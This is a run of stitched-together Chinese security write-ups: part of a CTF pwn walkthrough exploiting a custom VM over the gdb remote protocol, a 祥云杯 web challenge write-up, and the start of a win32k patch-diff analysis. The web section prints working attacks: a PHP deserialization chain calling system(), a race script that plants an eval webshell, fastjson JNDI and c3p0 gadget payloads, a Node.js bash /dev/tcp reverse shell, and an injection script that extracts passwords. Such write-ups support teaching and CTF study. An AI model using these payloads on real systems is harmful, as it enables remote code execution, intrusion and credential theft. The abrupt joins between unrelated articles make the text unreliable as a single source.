部分的输出如下图
直观判断的话，发送的数据包都会以`$`开头以`#`加两位数字结束。查阅相关资料后得到具体的编码方案。
如上图所示，包的内容会以16进制的形式来编码(enhex)，`#`后面的两位数字是校验码，具体的计算方式是数据包中所有字符求和再用256求余数。
而数据包的内容，也就是RSP协议的载体，将会是gdb接收的命令，这里选取几个比较重要的命令展示，其余命令请见参考资料1。
* g: 返回所有寄存器的值
send: $g#67
received: 00000000000000001407404000000000f03f008000000000100800800000000000000000000000000807404000000000000000800000000000000000000000000004000000000000000000000000000000000000000000004c0740400000000000000000000000000100000000000000000000000000000078030080000000001f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
* p: 返回指定寄存器的值
* P: 写入指定寄存器的值
send: $p94#dd
received: ffffffffffffffff
send: $P90=2301000000000000#fc
received: OK
* m addr,length：读取指定内存数据
* M addr，lenght：写入指定内存数据
send: $m0,4#fd
received: 00000000
send: $M0,4:23010000#9d
received: OK
* Z0,addr,kind 在指定地址下断点
* z0,addr,kind 清楚指定地址的断点
send: $Z0,0,2#44
received: OK
* c： 继续运行程序，到断点会停下来
本篇writeup涉及的gdb指令基本上就这么多，如果对比源码和反编译的代码还可以发现，程序阉割了一个重要的`s`指令，也就是原本用来进行单步调试的只能，这也就是为什么我们刚刚测试的时候没有办法通过`next`指令来进行跟踪。但是不要紧，通过`break`下断点和`continue`的组合，仍然可以达到单步调试的效果。
### 构建通讯组件
为了节省时间，这时候我们先上github找一找有没有现成的通讯模块可以供我们使用。找到一个python的库[pyrsp](https://github.com/stef/pyrsp),相当于一个rsp的客户端，可以通过python来与gdb
remote
server进行交互。起先还是准备用pyrsp加上ncat转发端口的方式来进行调试，但是这样的话用gdb调试debugvm程序本身就比较麻烦，毕竟攻击对象是debugvm，我们需要找到vm里面的漏洞然后从debugvm的层面去进行攻击才能获取到shellcode。
最后还是用传统的pwntools来编写exp，这样调试起来也比较方便，但是要把pyrsp里面的一些功能函数给迁移到exp当中。其中构造rsp数据包的`pack`函数可以直接导入使用，而其他的一些命令则重新借用pwntools的函数封装起来。以下是部分代码。
from utils import * # 来自pyrsp的utils模块
BITSIZE = 32
REGS = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9',
'r10', 'r11', 'r12', 'r13', 'r14', 'r15', 'flag', 'pc', 'sp', 'foo1', 'foo2'
'counter', 'foo3'] # vm定义的各个寄存器，后面会讲到是如何分析出来的
def rc(): # receive
resp = p.recvuntil('#') + p.recv(2)
return resp[2:-3]
def sd(content): # send
p.send(pack(content)) # pack是pyrsp提供的数据包打包函数
def cmd(content):
sd(content)
return rc()
def get_regs():
resp = cmd('g')
regs=dict(zip(REGS,(switch_endian(reg) for reg in split_by_n(resp,BITSIZE>>2))))
output = "\n".join(["%s:%s" % (r, regs.get(r)) for r in REGS])
p.info(output)
return regs
def store(addr, data):
resp = cmd('M%x,%x:%s'%(addr, addr + len(data), enhex(data)))
return addr + len(data)
def set_break(addr):
resp = cmd('Z0,%x,2' % addr)
p.info('set bp at: 0x%x' % addr)
def del_break(addr):
resp = cmd('z0,%x,2' % addr)
p.info('del bp at: 0x%x' % addr)
其他的gdb指令都可以通过以上这种方式封装好，到这里已经可以方便地控制程序内部的vm运行指令。
## 自定义指令集
起先还以为vm的指令集会是现成的，于是翻遍了qemu里面各种架构的源码，发现没有一个是对应起来的。后来看到知乎上面大佬们的赛后评价分析[如何评价2018强网杯线下赛？
- 知乎](https://www.zhihu.com/question/272521799/answer/368151211),才知道这是一个
**手写的新指令集** , 在佩服出题人之余，只好老老实实地准备逆向死磕指令集代码。
### 逆向
先贴上一份标注好的main函数代码
程序在入口处就分配了一段长度为0x5c的空间，根据上下文连蒙带猜，可以分析出这是保存cpu状态的一个结构体，所有的寄存器信息都会保存在这里面。里面有r0-r15,16个通用寄存器，还有pc，sp这样的特殊寄存器。每个寄存器都是32位的长度，还有一些看不出作用的就先随便起一个名字。
struct __attribute__((aligned(4))) cpu_state
{
__int32 r1;
__int32 r2;
__int32 r3;
__int32 r4;
__int32 r5;
__int32 r6;
__int32 r7;
__int32 r8;
__int32 r9;
__int32 r10;
__int32 r11;
__int32 r12;
__int32 r13;
__int32 r14;
__int32 r15;
__int32 r16;
__int32 flag;
__int32 PC;
__int32 sp;
__int32 foo1;
__int32 foo2;
__int32 counter;
__int32 w;
};
在main函数的第12行调用了一个对cpu_state结构体初始化的函数init_cpu()
里面主要是对特殊寄存器如pc，sp进行初始化，同时分配了一段长度为0x1000的空间，相信这就是vm内部的代码段了，下面还定义了两个全局变量`CODE_START`和`CODE_END`用来标定代码段的起始与结束，代码段长度为0x800，结束过后就是sp指向的栈空间。然后这里还往代码段写入了几条指令，也就是我们之前在gdb里面用`hexdump`指令看到的数据。
初始化过后会通过`gdb_handlesig`函数等待stdin传过来的gdb指令，收到运行的信号以后，程序就会进入main函数16-33行的这个while循环。
main函数第20行的`parse`函数是用来检测指令的合法性的，也就是先解析一遍代码段的机器码，如果发现机器码出错，就不会运行这部分代码，直接返回`gdb_handlesig`等待gdb传来的指令。如果机器码合法通过检测，则会进入到第30行的`exec`函数，这里就是真正执行虚拟机代码的地方。
分析到这里，相信比赛中做出题目的大佬都是直奔主题，直接检视指令集中最可能有问题的地方，多数会是一些内存边界检查缺陷，能够造成虚拟机里面的代码对虚拟机外部的数据进行读写从而达到虚拟机逃逸的目的。所以其实主要关注那些对内存进行读写操作的指令会比较直接。本着学习的目的，我花了比较长的时间手动把整个指令集给逆向出来了。
逆向的方法主要是来回比对`parse`函数和`exec`函数之间的关系，分清楚opcode和参数的位置，其实有反编译代码的话不算太难，多花一点时间就能理清楚。在手动逆向过程中我有一个思考，对于这种代码量比较大，但是存在一定模式的工作，能不能通过符号化执行(symbolic
execution)的技术来达到半自动，甚至是全自动分析的目的呢？
逆向整理出来一份指令集的表格（有些指令名称不一定准确，但基本能代表opcode的作用），其中每一格代表1个byte，比如第三行MOV指令占用6个byte，opcode是0x42，第一个参数是长度为1byte的寄存器编号，第二个参数是长度为dword(4byte)的一个整型数。
先来看一下这个自定义指令集一些比较特别的地方。
1. 提供两种算术操作，ADD和SUB指令，并没有MUL和DIV指令。
2. 提供三种逻辑操作，AND，OR，XOR指令
3. 多个指令都提供了寄存器与寄存器之间，或者寄存器与立即数之间的操作，通过opcode >> 6这样的方式来进行区分。例如0x2代表两个寄存器之间的赋值，0x42就代表把立即数赋值给寄存器。
4. 指令集还提供了LDR和STR这两种指令，这在X86中是没有的，但是ARM里面有，LDR能够从内存中读取内容存放到寄存器里面，STR则是将寄存器的内容存放都指定内存地址当中。结合上面越界读写的经验，这两个命令列为重点观察对象。
### 编写指令集汇编组件
分析出来指令集的表格，我们很容易就能够编写出一个简易的汇编组件，这里给出几个示例
def ADDN(reg, number):
return p8(0x43) + p8(reg) + p32(number)
def MOVN(reg, offset):
return p8(0x42) + p8(reg) + p32(offset)
def PUSHN(num):
return p8(0x4e) + p32(num)
def LDR(reg, addr):
return p8(0xa) + p8(reg) + p32(addr)
可以看到利用pwntools提供的p系列函数很容易就能组装起这些指令，有了这些汇编组件的辅助，我们就能够更加方便地编写自定义指令集的shellcode。
## 漏洞分析利用
需要的组件都准备到位了，程序的逻辑也理清楚了，接下来就可以开始真正的漏洞分析与利用了。正片开始！
用概括性的语言来描述一下这个漏洞，应该说这是一个基于shellcode自修改造成的内存越界读写漏洞，其实这个漏洞不难发现，在分析代码的时候我就已经发现了这个问题。但是利用起来还是需要对shellcode进行比较巧妙的构造，这点是在分析大佬们exp流量之后才找到比较好的方法。
parse: LDR-STR
exec: LDR-STR
首先观察parse函数里面LDR和STR的实现，看到parse第78行作了一个越界的检测，LDR和STR的第二个参数用来表明操作内存的地址，用相对下一条指令的偏移地址来表示，要是大于0xffc的话就会报错，不能运行。这里先做了unsigned
int类型转换再进行比较，不能用负数绕过的方法。对比观察exec函数里面的实现，这里并没有再做相关的越界检测，而且取偏移地址的时候是用signed
int的方式来取的，也就是我们有可能对代码空间之前的内存进行读写。
回到main函数的流程，vm从gdb接收到运行指令之后，首先会调用parse函数对代码段的所有代码先做一个合法检测，其中就包括上面说的越界检测。而通过检测之后再exec的函数内部就没越界的限制了。留意到在exec执行的过程中，我们可以让shellcode对自己进行修改，这样就可以绕过parse的合法检测，同时达到越界读写内存的目的。
### 自修改shellcode
用以下这张图来说明自修改shellcode是如何工作的：
上面的机器码是我们通过gdb写入到代码区域的，parse函数会把代码判定为合法，因为所有的LDR和STR语句都不存在越界读写的情况。但是到了exec函数里面，当程序执行完第二条语句，`STR
R15,0x2`，把R15的数据写入到距离下一条指令2byte的地方，正好覆盖了下一条LDR指令的第二个参数。这样一来第三条指令就变成了`LDR
R15,0x1003`，超过了代码段空间的范围，但是exec函数不会拦截。这样就获得了一个`越界读`的机会。
同理我们也可以构造出`越界写`的shellcode，具体指令如下
MOV R1, 0x1003
STR R1, 0X8
MOV R1, 0xdeadbeef
STR R1, 0
通过这个gadget，程序会把0xdeadbeef写入到距离pc 0x1003的偏移地址。
更进一步的话，可以把这两个读写gadget组装成一个函数方便调用
def arbitrary_read(target_offset, pc):
# read offset from code_base to r15
if target_offset >= 0:
payload = MOVN(0xf, target_offset - pc -0x12)
else:
target_offset = target_offset & (2**32 -1)
payload = MOVN(0xf, target_offset - pc + 0x100e)
payload += STR(0xf, 0x2)
payload += LDR(0Xf, 0)
return payload
def arbitrary_write(target_offset, pc, content):
# write content from r1 to offset
if target_offset >= 0:
payload = MOVN(0x1, target_offset - pc - 0x18)
else:
target_offset = target_offset & (2**32-1)
payload = MOVN(0x1, target_offset -pc + 0x1008)
payload += STR(0x1, 0x8)
payload += MOVN(0x1, content)
payload += STR(0x1, 0)
return payload
有了越界读写，距离任意内存读写也就不远了，我们需要确认代码段的起始地址，换句话说，我们需要泄露出一个堆地址。
### 泄露堆地址
如果在ida里面查找`calloc`和`free`调用的话，会发现`gdb_breakpoint_insert`和`gdb_breakpoint_remove`会分别调用这两个函数。
所以借助建立和删除断点的操作，我们可以在fastbin的单链表上面找到一个堆上面的指针。然后通过越界读的方式，就可以泄露出堆地址。
# leak heap
payload = arbitrary_read(0x1050, PC)
PC = store(0, payload)
set_break(PC)
set_break(0x64)
set_break(0x68)
del_break(0x64)
del_break(0x68)
cont()
del_break(PC)
leak_heap = get_reg(0xf)
code_base = leak_heap - 0x1020
p.info("leak_heap: %x" % leak_heap)
p.info("code_base: %x" % code_base)
### 攻击链思路
有了堆地址以后，我们手上就有了一个任意地址的读写，但是需要注意的是，这个任意地址是32位的地址，在vm内部的时候，还没有办法对64位地址进行读写操作。回顾一下程序开启的保护机制，因为用了`FULL
RELRO`，没有办法劫持GOT表。思路还是要回到写`__malloc_hook`/`__free_hook`上面来。那么需要的步骤如下：
1. 泄露libc地址
2. 往`__free_hook`上面写`system`函数地址
3. 往一个堆上的断点结构写'/bin/sh\x00'字符串
4. 删除这个断点，触发`system('/bin/sh')`
其中第一步，可以通过读取GOT表上的函数地址来完成，只要计算好GOT表与堆上代码段起始地址的偏移，就能读到libc地址，但是这里每次只能读4byte，所以读取要分两次操作完成，最后再拼凑成8byte的libc地址。问题在于写入`__free_hook`的时候，通过构造的gadget，只能对32位地址进行写入操作。
这里需要借助bss段上已有的指针，可以找到`CODE_END`这个指针，是用来标记代码段的结束位置的。而在执行PUSH指令的时候，程序会根据这个指针确定栈顶的位置，然后进行写入。所以只要我们把`CODE_END`这个常量改写成为libc地址，使得计算过后的栈顶地址指向`__free_hook`，再通过push指令就可以完成劫持free
hook的操作了。同样，对`CODE_END`进行写入的时候也要分两次来操作。
此处展示一下作任意读写操作时候的代码片段，因为不支持单步调试的缘故，每次执行新的shellcode之前都要先下断点，continue跑完指令后再把断点删除。
# leak libc low
offset = (elf.got['puts'] - leak_heap)
payload = arbitrary_read(offset, PC)
PC = store(PC, payload)
set_break(PC)
cont()
del_break(PC)
libc_low = get_reg(0xf)
攻击链思路已经给出，相关的代码片段也都逐一分享过了，为了留个各位自己探索学习的机会，完整的exp就不给出了，相信根据上面的描述不难写构造出一个exp的。
## 总结
通过这道题目，我们介绍了对于这种VM类型的pwn题目的解题思路。从开始逆向这道题目到完成本文，前后应该花了不下三天的时间，而比赛当天各个强队都是一个晚上就完成了此题，由此可见与真正强者之间的差距。值得一提的是从大佬们exp的流量中，还发现一些很有意思的攻击方式，比如先往vm的栈上写越界读写shellcode，然后在代码段上填满nop指令，让pc指向栈上面的非法shellcode来绕过parse函数的检测。
就这题而言，首先逆向就是一个难点，如何找到突破口，又如何分析指令集找到漏洞。而找到漏洞后无非就是把漏洞逐步升级的一个过程，从越界读写到任意读写，从任意读写到劫持函数调用控制rip。
最后再次感谢出题方FlappyPig给出这么精彩的题目，也感谢各位神仙大佬的exp流量能够让我在距离比赛几个月后还有机会复现题目，学习到这么有意思的攻击方法。特别鸣谢AAA队伍，此题的思路就是从他们的攻击流量中分析出来的。
## 参考资料
1. [ Howto: GDB Remote Serial Protocol - Writing a RSP Server ](https://www.embecosm.com/appnotes/ean4/embecosm-howto-rsp-server-ean4-issue-2.html)
2. [Day 29: 深藏不露的GDB - Remote Serial Protocol的秘密](https://ithelp.ithome.com.tw/articles/10197385)
From `Cpt.shao@Xp0int` | 社区文章 |
# 第二届"祥云杯" WEB WP
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## ezyii
考察点：就是一个找pop，找到一半队友说有现成的。<https://xz.aliyun.com/t/9948#toc-6> (之后删了)
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('Firebasky');
}
}
echo base64_encode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('Firebasky');
include("closure/autoload.php");
$a = function(){system('cat /flag.txt');phpinfo(); };
$a = (\Opis\Closure\serialize($a));
$b = (unserialize($a));
$this->source=$b;
}
}
}
果然一打就欧克。。。
## 安全检测
考察点：文件包含session条件竞争
猜一猜是ssrf，先读一下本地
成功显示了本地页面
参数admin页面。然后访问。。。访问不到说明需要刚刚的方法访问
成功获得源代码
哎文件包含，一看就是session条件竞争哎，都考烂了。而且过滤一点迷迷糊糊。file_put_contents不是file_put_content。
只不过这里一直跑条件竞争，手工访问并且添加包含文件也就是我们正在条件竞争的文件。然后在tmp写写入php文件进行包含
import io
import requests
import threading
def Write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 512)
session.post(url='url',
data={'PHP_SESSION_UPLOAD_PROGRESS': '111111111111111111111111111111111111111111111111111111111<?php phpinfo();file_put_contents("/tmp/1","<?php eval(base64_decode(\$_GET[1]));phpinfo();?>");?>'},
files={'file': ('Firebasky.txt',f)},
cookies={'PHPSESSID': 'Firebasky'})
if __name__=="__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1,50):
threading.Thread(target=Write,args=(session,)).start()
system("/getflag.sh");
http://127.0.0.1/admin/include123.php?u=/tmp/1&1=c3lzdGVtKCIvZ2V0ZmxhZy5zaCIpOw==
## 层层穿透
考察点：Apache Flink RCE 加 内网fastjson绕过
<https://blog.csdn.net/weixin_45492773/article/details/105975768>
我们先获得shell。分析代码我们发现是fastjson而且是内网环境。而且加了一些过滤
上午找到一个链子：本地打通了，环境有问题然后。。。打了一下午，然后以为不出网。重新找。
内网环境：<https://github.com/Firebasky/ctf-Challenge/tree/main/2021_xyb_fastjson_demo>
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["ldap://1.116.136.120:1600/TomcatBypass/TomcatEcho"],"Realms":[""],"a":"a"}
然后找到这个。使用我们可以使用其他链进行绕过。查看lib里面存在c3p0
然后直接上exp。百度就欧克。<https://github.com/depycode/fastjson-c3p0>
在打之前需要登录，因为有shiro验证。
POST /doLogin admin/123456 就欧克。
/admin/test
cmd: cat /flag
Content-Type: application/json
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870707400136765744F757470757450726F7065727469657370737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017371007E000B3F4000000000000C770800000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00084C00055F6E616D6571007E00074C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CD0A0014005F090033006009003300610700620A0004005F09003300630A006400650A003300660A000400670A000400680A0033006907006A0A0014006B0A0012006C08006D0B000C006E08006F0700700A001200710700720A007300740700750700760700770800780A0079007A0A0018007B08007C0A0018007D08007E08007F0800800B001600810700820A008300840A008300850A008600870A002200880800890A0022008A0A0022008B0A008C008D0A008C008E0A0012008F0A009000910A009000920A001200930A003300940700950A00120096070097010001680100134C6A6176612F7574696C2F486173685365743B0100095369676E61747572650100274C6A6176612F7574696C2F486173685365743C4C6A6176612F6C616E672F4F626A6563743B3E3B010001720100274C6A617661782F736572766C65742F687474702F48747470536572766C6574526571756573743B010001700100284C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100204C79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F313B01000169010015284C6A6176612F6C616E672F4F626A6563743B295A0100036F626A0100124C6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626C65010016284C6A6176612F6C616E672F4F626A6563743B492956010001650100154C6A6176612F6C616E672F457863657074696F6E3B010008636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F01000564657074680100014907007607004C070072010001460100017101000D6465636C617265644669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B01000573746172740100016E0100114C6A6176612F6C616E672F436C6173733B07007007009807009901000A536F7572636546696C65010010436F6D6D6F6E4563686F312E6A6176610C003C003D0C003800390C003A003B0100116A6176612F7574696C2F486173685365740C0034003507009A0C009B009C0C005300480C009D00440C009E00440C004300440100256A617661782F736572766C65742F687474702F48747470536572766C6574526571756573740C009F00A00C00A100A2010003636D640C00A300A401000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00A500A60100106A6176612F6C616E672F4F626A6563740700A70C00A800A90100266A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696F6E0100106A6176612F6C616E672F537472696E670100076F732E6E616D650700AA0C00AB00A40C00AC00AD01000357494E0C009D00AE0100022F630100072F62696E2F73680100022D630C00AF00B00100116A6176612F7574696C2F5363616E6E65720700B10C00B200B30C00B400B50700B60C00B700B80C003C00B90100025C410C00BA00BB0C00BC00AD0700BD0C00BE00BF0C00C0003D0C00C100C20700990C00C300C40C00C500C60C00C700C80C003A00480100135B4C6A6176612F6C616E672F4F626A6563743B0C00C900A001001E79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742F4669656C643B0100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B010008636F6E7461696E73010003616464010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B010010697341737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436C6173733B295A010009676574486561646572010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F64010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01000B67657450726F706572747901000B746F55707065724361736501001428294C6A6176612F6C616E672F537472696E673B01001B284C6A6176612F6C616E672F4368617253657175656E63653B295A01000967657457726974657201001728294C6A6176612F696F2F5072696E745772697465723B0100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0100116A6176612F6C616E672F50726F6365737301000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B010018284C6A6176612F696F2F496E70757453747265616D3B295601000C75736544656C696D69746572010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F7574696C2F5363616E6E65723B0100046E6578740100136A6176612F696F2F5072696E745772697465720100077072696E746C6E010015284C6A6176612F6C616E672F537472696E673B2956010005666C7573680100116765744465636C617265644669656C647301001C28295B4C6A6176612F6C616E672F7265666C6563742F4669656C643B01000D73657441636365737369626C65010004285A2956010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076973417272617901000328295A01000D6765745375706572636C617373010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740700CA0A00CB005F0021003300CB000000030008003400350001003600000002003700080038003900000008003A003B000000040001003C003D0001003E0000005C000200010000001E2AB700CC01B3000201B30003BB000459B70005B30006B8000703B80008B100000002003F0000001A0006000000140004001500080016000C001700160018001D001900400000000C00010000001E004100420000000A004300440001003E0000005A000200010000001A2AC6000DB200062AB6000999000504ACB200062AB6000A5703AC00000003003F0000001200040000001D000E001E001000210018002200400000000C00010000001A00450046000000470000000400020E01000A003A00480001003E000001D300050003000000EF1B1034A3000FB20002C6000AB20003C60004B12AB8000B9A00D7B20002C70051120C2AB6000DB6000E9900452AC0000CB30002B20002120FB900100200C7000A01B30002A7002AB20002B6000D121103BD0012B60013B2000203BD0014B60015C00016B30003A700084D01B30002B20002C60076B20003C6007006BD00184D1219B8001AB6001B121CB6001D9900102C03120F532C04121E53A7000D2C03121F532C041220532C05B20002120FB90010020053B20003B900210100BB002259B800232CB60024B60025B700261227B60028B60029B6002AB20003B900210100B6002BA700044DB12A1B0460B80008B100020047006600690017007A00E200E500170003003F0000006A001A000000250012002600130028001A0029002C002A0033002B0040002C0047002F0066003300690031006A0032006E0037007A003A007F003B008F003C0094003D009C003F00A1004000A6004200B3004400D7004500E2004700E5004600E6004800E7004B00EE004D00400000002A0004006A00040049004A0002007F0063004B004C0002000000EF004D00460000000000EF004E004F0001004700000022000B1200336107005004FC002D07005109FF003E0002070052010001070050000006000A005300480001003E000001580002000C000000842AB6000D4D2CB6002C4E2DBE360403360515051504A200652D1505323A06190604B6002D013A0719062AB6002E3A071907B6000DB6002F9A000C19071BB80030A7002F1907C00031C000313A081908BE360903360A150A1509A200161908150A323A0B190B1BB80030840A01A7FFE9A700053A08840501A7FF9A2CB60032594DC7FF85B100010027006F007200170003003F0000004200100000005000050052001E00530024005400270056002F0058003A00590043005B0063005C0069005B006F00620072006100740052007A0065007B00660083006800400000003E00060063000600540046000B0027004D004D00460007001E00560055005600060000008400570046000000000084004E004F00010005007F00580059000200470000002E0008FC000507005AFE000B07005B0101FD003107005C070052FE00110700310101F8001942070050F90001F800050001005D00000002005E707400016170770100787400017878737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000000787871007E000D78;"},"a":"xxx........"}
然后我们添加恶意key和value去绕过
然后我们将内网的ip端口代理出来就欧克，简单的测试一下发现IP是10.10.1.11而且因为环境是springboot默认端口是8080直接代理出来就欧克。
使用msf代理。
portfwd add -l 8080 -p 8080 -r 10.10.1.11
这里我想吐槽一下环境，exp本地上午就调试好了，打了一下午环境都没有出。。环境是真的不行。。。。。。。。。
## crawler_z
考察：zombie模块注入漏洞
<https://ha.cker.in/index.php/Article/13563>
功能大概就是爬虫功能，主要是绕过爬虫的url，exp文章中有写了。
漏洞点在goto里面的visit
然后功能就是我们传入bucket然后就是生成token去判断去请求爬虫。主要是我们在这个过程中替换我们的url就欧克。
需要注意我们传入的bucket是通过checkBucket函数验证然后给了personalBucket
最后通过/verify传递通过personalBucket更新，也就是说我们可以覆盖之前的url，但是token还是一样的。
先生成token
然后替换bucket为我们的url里面的exp。
之后成功更新
之后访问/user/bucket，成功反弹。
exp.html
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],); console.log(ls.output.toString());")()</script>
## Secrets_Of_Admin
登录通过sql数据库里面获得
admin/e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645
然后输入我们的content拼接进入template模板里面，生成pdf。然后放进数据库
这里通过数组绕过。然后/api/files路由又会创建我们的控制传输。进行存放数据库。
在/api/files/:id页面里面读取我们存放的文件内容
<https://github.com/marcbachmann/node-html-pdf/issues/530>
<https://www.npmjs.com/advisories/1095> 测试http协议
但是我们可以通过src标签进行绕过，去访问<http://127.0.0.1:8888/api/files>
让他去创建一个admin的用户文件是flag，checksun为我们控制的，就成功。文件名字我们可以通过目录超越去操作。这里进行拼接。
exp
content[]=<img%20src="http://127.0.0.1:8888/api/files?username=admin%26filename=/../files/flag%26checksum=5201314">
然后访问/api/files/5201314就可以下载flag
## PackageManager2021
考察：sql注入
大概功能就是注册用户登录，之后自己可以添加包，通过注入去获得token然后提交我们的包，让bot去访问返回cookie。然后登录admin去获得flag包。
本地测试xss可以打通，不知道题目打不通。之后在/packages/submit页面可以进行注入
cf87efe0c36a12aec113cd7982043573 “||this.username==”admin 。绕过token。
xss没有打通然后就通过注入去获得admin密码。
# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
import requests
passwd = ""
for i in range(0,50):
for j in range(32,127):
burp0_url = "http://47.104.108.80:8888/auth"
burp0_cookies = {"session": "s%3A48cl_lUReimQytHn7toEfeafbGGIpWXB.YBzs%2B3EcrGrFNvfOoe0wEbmm2NSA%2B4tVAlsYy7eRoIE"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://47.104.108.80:8888", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://47.104.108.80:8888/auth", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"_csrf": "kATaxQjv-Uka6Hw6X85iWgBuhyTxqgy7pvVA", "token": "cf87efe0c36a12aec113cd7982043573\"||(this.username==\"admin\"&&this.password[{}]==\"{}\")||\"".format(i,chr(j))}
res=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,allow_redirects=False)
if res.status_code == 302:
passwd += chr(j)
print(passwd)
然后直接登录就ok。
## 总结
题目不错慢慢的偏java和nodejs方向了，其他的懂的都懂。。。。 | 社区文章 |
# 通过对比 5 月补丁分析 win32k 空指针解引用漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
微软在 5 月安全公告中包含并修复了 4 个 win32k
内核提权漏洞。这篇文章将通过补丁对比的方式，发现并分析补丁程序中修复的一个由某处空指针解引用导致的提权漏洞，最终实现其验证和利用代码。分析和调试的过程将在
Windows 7 x86 SP1 基础环境的虚拟机中进行。
为防范利用该漏洞实施的攻击，正在使用 Windows 操作系统的用户必须尽快安装官方最新发布的安全补丁。
## 0x0 前言
这篇文章通过补丁对比的方式发现并分析 5 月补丁修复的一个在 `win32k` 内核模块中存在的空指针解引用导致的内核提权漏洞。根据 FortiGuard
